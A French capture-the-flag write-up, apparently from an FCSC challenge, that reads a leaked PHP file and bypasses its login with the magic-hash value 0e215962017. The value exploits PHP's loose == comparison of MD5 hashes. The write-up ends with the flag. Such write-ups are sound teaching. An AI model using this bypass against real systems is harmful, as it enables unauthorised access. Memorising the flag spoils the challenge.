On se connecte sur http://localhost:8000/.
Dans le code source de la page, on trouve le commentaire suivant :
<!-- Pour les admins : si vous pouvez valider les changements que j'ai fait dans la page "check_secret.php", le code est accessible sur le fichier "check_secret.txt" -->
On va donc récupèrer le fichier check_secret.txt
:
curl http://localhost:8000/check_secret.txt
<?php
session_start();
$_SESSION['dungeon_master'] = 0;
?>
<html>
<head>
<title>Enter The Dungeon</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Enter The Dungeon</h1></center>
<?php
echo '<div style="font-size:85%;color:purple">For security reason, secret check is disable !</div><br />';
echo '<pre>'.chr(10);
include('./ecsc.txt');
echo chr(10).'</pre>';
// authentication is replaced by an impossible test
//if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")
if(md5($_GET['secret']) == $_GET['secret'])
{
$_SESSION['dungeon_master'] = 1;
echo "Secret is correct, welcome Master ! You can now enter the dungeon";
}
else
{
echo "Wrong secret !";
}
?>
</body></html>
La partie authentication est la suivante :
if(md5($_GET['secret']) == $_GET['secret'])
{
$_SESSION['dungeon_master'] = 1;
echo "Secret is correct, welcome Master ! You can now enter the dungeon";
}
Pour injecter une condition toujours vraie dans $_GET['secret']
dans le contexte de la comparaison MD5, il faudrait envoyer une valeur qui, lorsqu’elle est hashée avec MD5, produit cette même valeur.
En PHP, avec la comparaison ==
, une chaine de caractère commencant par 0e… sera interprétée comme une notation scientifique,et donc considérée comme étant égale à zéro.
Un peu de recherche… => Le hash md5 de 0e215962017
donne 0e291242476940776845150308577824
.
La condition PHP va donc donner 0 == 0
donc VRAI.
On passe donc la valeur 0e215962017
au formulaire :
http://172.16.16.247/check_secret.php?secret=0e215962017
Et nous voilà loggué en tant que dungeon master :
FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}